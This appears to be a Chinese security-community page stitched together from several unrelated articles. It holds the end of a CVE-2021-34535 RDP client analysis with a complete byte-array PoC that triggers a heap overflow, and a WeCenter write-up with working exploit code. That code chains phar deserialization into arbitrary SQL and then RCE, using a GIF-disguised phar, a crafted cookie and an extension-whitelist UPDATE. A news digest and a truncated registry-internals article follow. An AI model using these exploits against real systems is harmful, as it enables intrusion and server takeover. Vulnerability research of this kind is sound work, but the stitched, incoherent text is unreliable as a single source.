根据官方文档的描述，这是这里的CRDPstream::DeliverSample函数功能很可能是属于一个视频重定向动态虚拟频道协议下的功能。所以我们能想到的最好的办法是尝试在复现一个RDP视频重定向的功能场景，然后对CRDPstream::DeliverSample目标函数进行标记，一旦真实的RDP客户端代码能够执行存在漏洞的函数，则我们可以直观的了解到整个漏洞出发路径。这样的另一个好处，是不用了解在漏洞函数触发之前所要做的其他所有工作。不必了解RDP整个初始化过程以及身份验证阶段。
但实际中，我们并不能直接得到这样的结果，经过测试我们仅仅在sever2008中，通过手动启用RDPapp，启用了这种视频重定向功能，但是我们并不能直接定位到漏洞存在的函数。所以，为了更方便的实现这种视频重定向协议的各个功能，最好的办法是需要重建一个RDP服务端，自己根据官方的协议说明文档修改数据。
我们使用了freeRDP中的server代码来实现这一点（在windows下，重构的freeRDP中的server代码可能会有一些兼容性问题，需要修改下个别加载镜像显示驱动的一些处理代码）。
然后回到漏洞触发函数CRDPstream::DeliverSample，我们在文档中找到与其最相关的功能是On
Sample消息。通过在freeRDP中的server
drdynvc_server_thread1（）动态虚拟通道线程中添加视频重定向虚拟动态通道的响应数据包，并构造这一On Sample数据类型：
我们最终得到了触发漏洞路径的流程（在这个过程中，包含较多繁琐的的猜测尝试过程，这里不赘述）。
但这里有两个地方需要说明一下。
一是关于添加虚拟通道并初始化该通道的过程。官方的说明文档已经非常详细，但有时候，也并不是每一个细节和特例都会会详细举例说明。
为了弄清楚其中的细节。我们可以在服务端交互数据响应处理函数CStubIMMServerData::Dispatch_Invoke()入口下断点，关注我们感兴趣的特定具体类型通道的状态标志来理解整个通道的创建，关闭，以及其他工作流程。
二是，关于最终漏洞路径触发的问题。我们能发现我们已经已经能在视频重定向虚拟动态通道中触发一些功能流程，但是并不能进入最终和CRDPstream以及CRDPSource类有关的数据处理函数功能。
这时候，我们可以先关注更上层的CRDPSource这个类的其他函数，如相近功能其他类的DeliverSample功能，或者CRDPSource类本身初始化的功能。找到这类离目标漏洞函数更近的功能，再后续测试流程中不同的参数即能比较容易的找到最终的漏洞触发路径。
我们的测试poc中，其包括的视频重定向动态虚拟通道的功能数据包主要如下：
**char** str1[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道
**char** str2_1[] = "\x34\x07" //发送通道参数
"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";
**char** str2_2[] = "\x34\x07" //发送通道参数
"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
**char** str2_3[] = "\x34\x07" //发送通道参数
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";
///
**char** str3[] = //发送交换信息
"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"
"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"
"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";
**char** str4[] =
"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x08\x01\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x60\x00\x00\x00\x61\x75\x64\x73\x00\x00"
"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x10\x16\x00\x00\x00\x00"
"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x01\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01"
"\x00\xaa\x00\x55\x59\x5a\x20\x00\x00\x00\x10\x16\x02\x00\x80\xbb"
"\x00\x00\x80\x3e\x00\x00\x01\x00\x10\x00\x0e\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x11\x90";
**char** str5[] = "\x34\x07" //发送通道参数
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x00\x00\x00";
**char** str6[] = "\x40\x07"; //关闭通道
**char** str7[] = "\x14\x08\x54\x53\x4d\x46\x00"; //创建动态虚拟通道
**char** str8[] =
"\x34\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";
**char** str9[] = "\x34\x08" //发送通道参数
"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
**char** str10[] = "\x34\x08" //发送通道参数
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";
**char** str11[] = "\x34\x08" //发送新的呈现对象
"\x00\x00\x00\x40\x00\x00\x00\x00\x05\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
**char** str12[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道
**char** str13[] = "\x34\x07" //发送通道参数
"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";
**char** str14[] = "\x34\x07" //发送通道参数
"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
**char** str15[] = "\x34\x07" //发送通道参数
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
///
**char** str16[] = //发送交换信息
"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"
"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"
"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";
**char** str17_0[] = "\x34\x07"
"\x00\x00\x00\x40\x00\x00\x00\x00\x13\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
**char** str17[] = "\x34\x07"//add steam
"\x00\x00\x00\x40\x00\x00\x00\x00\x02\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"
"\x64\x00\x00\x00\x61\x75\x64\x73\x00\x00\x10\x00\x80\x00\x00\xaa"
"\x00\x38\x9b\x71\x62\x01\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa"
"\x00\x38\x9b\x71\x00\x00\x00\x00\x01\x00\x00\x00\x00\x10\x00\x00"
"\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01\x00\xaa\x00\x55\x59\x5a"
"\x24\x00\x00\x00\x62\x01\x02\x00\x00\x77\x01\x00\xc0\x5d\x00\x00"
"\x00\x10\x18\x00\x12\x00\x18\x00\x03\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xe0\x00\x00\x00";
**char** str17_2[] = "\x34\x07"
"\x00\x00\x00\x40\x00\x00\x00\x00\x11\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
**char** str18[] = "\x34\x07" //发送示例
"\x00\x00\x00\x40\x00\x00\x00\x00\x03\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"
"\x46\x01\x00\x00\x37\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00"
"\x00\x00\x00\x00\x15\x16\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x03\x02\x00\x00\x00\xff\xff\xff\x00\x00\x01\xb3\x14\x00\xf0\x13"
"\xff\xff\xe0\xc1\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x09\x9c\x9a\x91\x80\x0c\x00\x1b\x93\x78";
## Exp的尝试：
目前，我们可以获取的是一个对堆地址的溢出，并且可溢出数据的长度非常长达到0xFFFF
FFFF级别，通常来说，这容易这种溢出很容易造成崩溃，不利用稳定利用。但溢出的内容是绝大部分可控的。在之前的分析调试中，我们可以注意到RDP协议中包含大量的重载虚函数，我们只需要提前布局一些可控的这种大内存堆，获取一个虚函数指针的跳转引用是可能的。
然而常规思路来说，最大的问题是缺少一个应用层可靠的跳转地址，来完成漏洞利用的第二阶段代码执行过程。我们没有一个具体的目标来实跳转。所以，我们需要尝试分析这样的可能：是否可以找到协议RDP客户端另外的功能，能够通过溢出控制其他客户端返回的数据长度来进行信息泄露。
但是通过后续分析现有的RDP通讯流程，发现绝大部分的数据都是从服务端发往客户端，客户端发送返回的大部分都是基于指令或者反馈的消息代码。似乎较难发现可靠的信息泄露方式。
## 总结：
通过整体的分析，可以看出相对于需要验证登录的服务端，一旦轻易相信服务端可靠性，并且由于RDP本身协议的复杂性，RDP客户端可能存在更广的被攻击面。
后续可能会有其他更多的的客户端漏洞被发现，但是要在最新的windows系统上利用这类RDP客户都安代码执行漏洞，似乎更迫切需要一个较稳定的信息泄露漏洞。
另外，对于该漏洞，我们并没有在hyper-V的具体环境中测试，在这里并不确定除了RDP协议本身之外的交互数据之外，hyper-V中是否一些更容易构造的读写源语来做到客户端可靠的信息泄露。
## 参考:
<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpev/5b62eacc-689f-4c53-b493-254b8685a5f6>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b>
* * * | 社区文章 |
### 前言
> WeCenter 是一个类似知乎以问答为基础的完全开源的社交网络建站程序，基于 PHP+MYSQL 应用架构，它集合了问答，digg，wiki
> 等多个程序的优点，帮助用户轻松搭建专业的知识库和在线问答社区。
限制：
* 开启注册功能或拥有前台账号
* 前台账号拥有上传文件权限
以上两个条件默认安装都为开启状态
### 分析
#### 反序列化漏洞点
* 定位到漏洞文件`./system/aws_model.inc.php`
<?php
class AWS_MODEL {
. . .
private $_shutdown_query = array();
. . .
public function master() {
if ($this->_current_db == 'master') {
return $this;
}
if (AWS_APP::config()->get('system')->debug) {
$start_time = microtime(TRUE);
}
AWS_APP::db('master');
if (AWS_APP::config()->get('system')->debug) {
AWS_APP::debug_log('database', (microtime(TRUE) - $start_time) , 'Master DB Seleted');
}
return $this;
}
. . .
public function __destruct() {
$this->master();
foreach ($this->_shutdown_query AS $key => $query){
$this->query($query);
}
}
}
可以看到漏洞文件的析构函数`__destruct()`遍历了`$this->_shutdown_query`变量，然后带入了`$this->query()`函数，跟一下
public function query($sql, $limit = null, $offset = null, $where = null){
$this->slave();
if (!$sql){
throw new Exception('Query was empty.');
}
if ($where){
$sql .= ' WHERE ' . $where;
}
if ($limit){
$sql .= ' LIMIT ' . $limit;
}
if ($offset){
$sql .= ' OFFSET ' . $offset;
}
if (AWS_APP::config()->get('system')->debug){
$start_time = microtime(TRUE);
}
try {
$result = $this->db()->query($sql);
} catch (Exception $e) {
show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());
}
if (AWS_APP::config()->get('system')->debug){
AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);
}
return $result;
}
没有经过任何处理直接带入了查询函数中，只要`$this->_shutdown_query`可控那么就可以执行任意SQL语句了。
由于SQL语句的执行发生在析构函数`__destruct()`中，并且`_shutdown_query`没有被静态关键词`static`修饰。于是很自然可以想到利用反序列化的方式，重置`$this->_shutdown_query`的值。
构造"构造exp"的exp：
<?php
class AWS_MODEL{
private $_shutdown_query = array();
public function __construct(){
$this->_shutdown_query['test'] = 'SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)';
}
}
echo base64_encode(serialize(new AWS_MODEL));
?>
由于`$_shutdown_query`被`private`修饰符修饰了，所以在进行序列化后会出现两个 **空字节** 用于表示
**该成员属性被`private`修饰**。
由于还没有反序列化触发点，所以先在一个加载完所有类和各种自动加载机制完成的文件中手动写上一个触发点用于验证。如`system/system.php`，正好也是程序的入口文件。
可以看到反序列化后的`AWS_MODEL`类执行了上面的SQL语句
#### 反序列化触发点
想要触发反序列化很简单，主要的思路是：
* `unserialize($v)` 在`$v`可控的情况下 可以进行反序列化
于是全局搜索`/\bunserialize\((.*?)\$(.*?)\)/` 寻找可控的变量。
结果找了一整个上午都没找到，跟函数跟到头都快裂了。
在快要自闭的时候想起了打CTF的时候经常遇到的利用Phar反序列化
思路也不难，大概就是：
* 在某一部分文件操作函数的参数可控的情况下 传入`phar`伪协议解析的文件是 php底层会将phar文件的`meta-data`部分进行一次反序列化
php底层处理代码：
int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len) /* {{{ */
{
php_unserialize_data_t var_hash;
if (zip_metadata_len) {
const unsigned char *p;
unsigned char *p_buff = (unsigned char *)estrndup(*buffer, zip_metadata_len);
p = p_buff;
ZVAL_NULL(metadata);
PHP_VAR_UNSERIALIZE_INIT(var_hash);
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {
efree(p_buff);
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
zval_ptr_dtor(metadata);
ZVAL_UNDEF(metadata);
return FAILURE;
}
efree(p_buff);
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
可以看到`metadata`被传入了反序列化函数`php_var_unserialize`
* 利用的条件是：
`受影响函数($v)` 在`$v`可控的情况下 传入`phar`伪协议解析的文件即可完成反序列化
受影响函数列表：
利用正则`(fileatime|filectime|file_exists|file_get_contents|file_put_contents|file|filegroup|fopen|fileinode|filemtime|fileowner|fileperms|is_dir|is_executable|is_file|is_link|is_readable|is_writable|is_writeable|parse_ini_file|copy|unlink|stat|readfile)\((.*?)\$(.*?)\)`全局搜索，寻找文件操作函数可控参数的点。
又是一顿翻翻翻过后，终于找到了一个十分复杂的触发点。
* `models/account.php`
<?php
public function associate_remote_avatar($uid, $headimgurl){
if (!$headimgurl){
return false;
}
if (!$user_info = $this->get_user_info_by_uid($uid)){
return false;
}
if ($user_info['avatar_file']){
return false;
}
if (!$avatar_stream = file_get_contents($headimgurl)){
return false;
}
...
`associate_remote_avatar`函数将传进来的`$headimgurl`没有经过任何过滤直接传入了文件操作函数`file_get_contents`中。也就是说如果`$headimgurl`可控的话，这个地方同时也会是一个SSRF漏洞（无回显）。
全局搜索了一下`->associate_remote_avatar(`
* `app/account/ajax.php`
public function synch_img_action(){
$users=$this->model('account')->fetch_all('users','is_del=0 and ISNULL(avatar_file)','',1000);
foreach ($users as $key => $value) {
$wxuser=$this->model('account')->fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL');
if($wxuser){
$this->model('account')->associate_remote_avatar($wxuser['uid'],$wxuser['headimgurl']);
}
}
}
`synch_img_action`函数将没有头像并且存在`headimgurl`字段的用户从数据库中取出来，然后将从数据库中取到的`headimgurl`字段传入`associate_remote_avatar`函数。
问题的关键就在寻找对`users_weixin`表的`headimgurl`字段进行操作的的函数了
通过搜索`users_weixin`找到了对这个表进行插入操作的函数
* `models/openid/weixin/weixin.php`
<?php
public function bind_account($access_user, $access_token, $uid, $is_ajax = false){
if (! $access_user['nickname']){
if ($is_ajax){
H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录')));
}else{
H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录'));
}
}
if ($openid_info = $this->get_user_info_by_uid($uid)){
if ($openid_info['opendid'] != $access_user['openid']) {
if ($is_ajax){
H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定')));
}else{
H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定'));
}
}
return true;
}
$this->insert('users_weixin', array(
'uid' => intval($uid),
'openid' => $access_token['openid'],
'expires_in' => (time() + $access_token['expires_in']),
'access_token' => $access_token['access_token'],
'refresh_token' => $access_token['refresh_token'],
'scope' => $access_token['scope'],
'headimgurl' => $access_user['headimgurl'],
'nickname' => $access_user['nickname'],
'sex' => $access_user['sex'],
'province' => $access_user['province'],
'city' => $access_user['city'],
'country' => $access_user['country'],
'add_time' => time()
));
return true;
}
可以很明显看到这个进行了`insert`操作，且`headimgurl`字段也是由函数接收的值来决定。因此只要找到调用了这个函数，且函数的参数可控，那么就可以执行任意SQL代码了。
全局搜索`bind_account`
* `app/m/weixin.php`
<?php
public function binding_action(){
if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect']){
$WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true);
}
if ($WXConnect['access_token']['openid']){
$this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id);
HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true);
if ($_GET['redirect']){
HTTP::redirect(base64_decode($_GET['redirect']));
}else{
H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/');
}
}else{
H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']);
}
}
可以看到`$WXConnect`的值完全是从`COOKIE`中获取经过反序列化后得来的，完全可控。所以只需要按照代码的要求构造好攻击的Payload就可以了。至于`COOKIE`的前缀`G_COOKIE_PREFIX`，登陆后抓个包就可以看到了。
构造`$WXConnect`：
<?php
$arr = array();
$arr['access_token'] = array('openid' => '1');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 1;
$arr['access_user']['nickname'] = 'naiquan';
$arr['access_user']['headimgurl'] = 'phar://file_path';
echo json_encode($arr);
?>
所以，完整的攻击流程应该是
1. 注册账号
2. 生成并上传一个phar文件（注意不要在头像处上传）
3. 在`COOKIE`中设置对应的`WXConnect`为上面Payload的结果
4. 访问`app/m/weixin.php`下的`binding_action`
5. 访问`app/account/ajax.php`下的`synch_img_action`
### 漏洞演示
1. 注册账号
略。。
2. 生成Phar文件
<?php
class AWS_MODEL{
private $_shutdown_query = array();
public function __construct(){
$this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
}
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
rename("2.phar","shell.gif");
?>
运行后将生成的`shell.gif`通过编辑器的上传功能上传到服务器上
记录下上传后的目录
1. 生成并设置`COOKIE`中的`WXConnect`值
<?php
$arr = array();
$arr['access_token'] = array('openid' => '1');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 1;
$arr['access_user']['nickname'] = 'naiquan';
$arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
echo json_encode($arr);
?>
将`headimgurl`的值设置成`phar`伪协议解析的恶意文件后运行，将结果放入Cookie中，前缀可参考Cookie中的其他参数。
2. 访问`app/m/weixin.php`下的`binding_action`
提示绑定微信成功后进行下一步
3. 访问`app/account/ajax.php`下的`synch_img_action`
任意SQL语句执行成功
CTF诚不欺我！！！
### 扩大危害
怎么能止步于任意SQL执行呢，当然得要RCE啊！
打开后台我们可以看到设置后缀名白名单的地方。
这时候把mysql的`general_log`开起来，监控一下修改这个白名单会执行什么SQL语句。
添加一个`naiquantest`的后缀方便我们从log文件中匹配出关键的SQL语句
可以看到监控的SQL语句为这条，将后缀名字符串序列化后`UPDATE`到数据库中
那么就可以通过一个修改后缀名白名单的方式，上传php文件进行RCE了。
EXP:
```php
<?php
class AWS_MODEL{
private $_shutdown_query = array();
public function __construct(){
$file_exts = "jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";
$this->_shutdown_query['test'] = "UPDATE `aws_system_setting` SET `value` = '".serialize($file_exts)."' WHERE (`varname` = 'allowed_upload_types')";
}
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
rename("2.phar","shell.gif");
```
老套路上传执行后：
在后台查看
成功添加了php后缀
返回前台在编辑器中上传php文件
RCE成功！！！
### 漏洞修复
删除`app/account/ajax.php`下名为`synch_img`的`action`即可，删除路由或者函数都可以。 | 社区文章 |
# 12月18日安全热点 - Zealot挖矿程序/Face ID又出意外/Uber被指控
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Zealot Campaign利用NSA工具在Windows和Linux服务器上传播矿工程序
<http://securityaffairs.co/wordpress/66829/cyber-crime/zealot-campaign-nsa-exploits.html>
星巴克Wifi利用电脑挖矿，免费网络中暗藏消费陷阱
<http://www.bbc.com/news/technology-42338754>
Uber被指控贿赂、监控、窃取商业机密
<https://news.hitb.org/content/uber-accused-espionage-hacking-and-bribery-bombshell-letter>
Face ID又出意外：也许你的同事就能解锁你的手机
<https://www.hackread.com/chinese-woman-unlocks-colleague-iphonex-using-face-id/>
## 技术类
async_awake：iOS漏洞工具后续
<https://github.com/ninjaprawn/async_awake-fun>
Zendesk中的XSS利用
<https://medium.com/@shinkurt/exploiting-a-tricky-xss-in-zendesk-80bdeaea4dad>
爆破玩家的福音——一键爆破所有服务
<https://github.com/1N3/BruteX>
可穿戴设备之软件攻击硬件
<https://www.youtube.com/watch?v=CWXL3tX00aU>
华为P8 wkupccpu debugfs内核缓存溢出
<https://blogs.securiteam.com/index.php/archives/3580>
通过基本多态引擎实现自制x64编码器
<https://pentesterslife.blog/2017/12/18/custom-x64-encoder-with-a-basic-polymorphic-engine-implementation/>
将PS脚本隐藏进PNG像素中并用一行指令去执行它
<https://github.com/peewpw/Invoke-PSImage>
利用位函数和操作符实现Mysql高效盲注
<https://stealingthe.network/efficient-time-based-blind-sql-injection-using-mysql-bit-functions-and-operators/>
加密货币乱象：混沌的IOTA
<http://codesuppository.blogspot.ca/2017/12/iota-tangled-mess.html>
OSDFCon 2017 快速应急响应演示文档
<http://www.osdfcon.org/presentations/2017/Asif-Matadar_Rapid-Incident-Response.pdf> | 社区文章 |
### 1\. 前言
作者：C1em0
邮箱：[email protected]
此篇文章是利用office的DDE漏洞模拟钓鱼的后续篇，作为来到先知社区的第一篇文章吧。前一篇发布在《安全客》上，[传送门](http://bobao.360.cn/learning/detail/4628.html)
在上一篇文章“Powershell
Empire绕过AV实现远控”中介绍了以powershell作为攻击平台的empire利用前些天曝光的office无宏命令漏洞进行钓鱼攻击，绕过杀软对目标靶机进行远控的例子。事后在继续对实验中恶意代码绕过方式进行进一步思考时有了一点新的理解，接下来将在文章中写明。此篇文章依旧围绕着powershell与杀软的猫捉老鼠的故事进行。
### 2\. 背景介绍
**从cmd到powershell**
学计算机的都应该听说过DOS。dos与cmd很简单又很容易搞混的两个东西。通俗的来讲，dos本来就是一个操作系统，而cmd就只是个应用程序，它是dos的一个实现而已。cmd能实现的命令dos也可以，但是dos能实现的未必在cmd上能实现。作为一直专注于GUI操作系统开发的微软来说，cmd显得并不是那么重要。但是在服务器中一种好的shell是一个能提升管理人员效率的好东西。举例来讲，如果我们要在win系列计算机中创建一个账户，只需要点击鼠标，然后输入账户就可以轻松花费五分钟创建一个新账户，但是要是创建更多的账户，或者更多复杂的操作。系统管理员所要花费的时间就会更长，人性化的GUI操作系统，遇到了瓶颈。尽管微软尝试着用VBScript来配合着弥补这样的缺陷，但是仍旧不能完美地解决这个问题。在这样的背景下，powershell应运而生。关于powershell我就不多赘言，但你要理解它其实为一门脚本语言。
### 3\. 杀软与非PE文件
#### 3.1 什么是非PE文件？
有非PE文件，肯定是有PE文件。什么是PE（Portable Executable）呢？PE文件是一种windows系统
下的可执行文件，具体的文件类型有`exe`、`dll`、`ocx`、`sys`、`com`，这些都属于传统的PE文件。win系统可以直接或者间接执行。
现在看看非PE文件，其主要分三大类：
1. 脚本类。其有包括系统自带和非系统自带。系统自带包括bat、vbs、jscript以及后来加入的powershell。非系统自带包括我们熟知的python、php、java。
2. 文档类。包括我们熟知的office三剑客，word,excel,ppt和另外一个pdf。这四个使我们使用率极高的文档。
3. 其他。包括swf,lnk等类型的文件。
#### 3.2 杀软的查杀策略
上述的PE文件在我们平时的使用率最高的文件，自然杀软在进行恶意文件的查杀方面重点就在PE文件上。上一篇文章中我已经介绍过用exe格式的木马进行测试，杀软不负众望，一个不漏的地对其进行了木马隔离。我们可能听过可以dll注入进行反弹shell,但是作为PE文件，dll恶意文件的效果如何呢？这里我们试验下。
和往常一样，生成一个恶意的payload1.dll文件。然后放入有杀软的主机。然后在写一个payload1.bat的文件，内容如下：
此文件的目的就是让系统调用rundll.exe这个程序执行我们的恶意payload1.dll文件，从而达到反弹shell的目的。但是如何让受害者在毫无戒心的情况下执行bat文件呢？我这里使用了rar可生成
_自解压_ 压缩包的功能，并且将bat文件设为自动执行，这样就可以让受害者在点击压缩包的一瞬间执行我们的恶意dll文件
最后生成自解压压缩包。如图：
我本以为这样就可以巧妙地绕过杀软和用户，但是并不是。这个压缩包在生成后不久就被杀软查杀。这种方法显然不行，也证明杀软在PE文件内容上的检测已经是很强并且可靠的。那么对于非PE文件呢？
#### 3.3 杀软与非PE文件
一样的，我们先生成一个含有恶意powershell代码的bat文件试一试。
以文本方式打开，我们可以看到base64加密的恶意代码，然后将其拖入目标机。这时杀软报毒了
看来对于非PE文件的内容检测也是很严格的。
但是我们再来回顾下无宏office命令执行漏洞的恶意代码，也许我们有新的发现
在我看来，这段恶意利用代码其实可以拆分成两个区域：一是office的DDE协议漏洞的区域，它的主要功能是从word直接调用cmd.exe。二是后面的powershell正常的命令区，这个区域属于psl的正常语法，是psl解释器要解释的东西。而我们真正的恶意代码却在世界的另一端
----网站上。所以其能绕过杀软的检测，成功反弹shell。那既然这样，我们是不是可以举一反三？
于是，我们将psl区的代码写入一个bat文件中，然后直接双击执行。注意，这个bat文件并没有恶意代码，只有恶意的链接。你猜结果会怎样？
成功侦听，最后故技重施。
### 4\. 一点点小建议
通过实验可以看出，我们的杀软已经很强悍了，对于恶意代码基本上都可以识别出来，但是对于这种恶意钓鱼链接依旧不敏感。如果以后杀软可以对于钓鱼链接能够很好识别，那就更棒了。 | 社区文章 |
# 注册表hive基础知识介绍第四季－SK记录
|
##### 译文声明
本文是翻译文章
原文地址：<http://binaryforay.blogspot.jp/2015/02/registry-hive-basics-part-4-sk-records.html>
译文仅供参考，具体内容表达以及含义原文为准。
**在**[ **第三季**](http://bobao.360.cn/learning/detail/2534.html)
**中，我们已经给大家介绍了VK记录。接下来我们将给大家介绍SK记录，即安全Key（Security Key）。**
**SK记录**
在系统定义注册表的访问控制权限时，将会用到SK记录中的信息。下图显示的是磁盘中现有的一条SK记录的实例。
在一条SK记录中，总共有十七种类型的信息。SK记录相较于我们之前所见到过的其他类型的记录而言，也许会显得有些奇怪（也可以说是更加的复杂）。其中较为重要的信息有以下几类：
| 大小
| 签名
| Flink和Blink
| 引用计数
| 描述符
**大小（Size）**
大小值起始于偏移量0x00处，系统使用了一个32位长度的整数来存储它的值。在上面给出的例子中，其十六进制数值为0x28FFFFFF（同样采用的是小端存储格式）。将该数值转换为十进制之后，得到的结果为－216（负216）。
SK记录中的Size与NK记录和VK记录中的Size是一样的，所以这条记录的实际大小即为216个字节。
**签名（Signature）**
一条SK记录的签名起始于偏移量0x04处。SK记录的签名是一个ASCII码字符串“SK”，其十六进制值为0x736B。
**Flink和Blink**
Flink即正向链路（Forward
link），该数据起始于偏移量0x08处，系统采用了一个32位的无符号整数来存储它的值。在注册表hive中，Flink表示的是下一条SK记录的偏移量。
Blink即反向链路（Backward
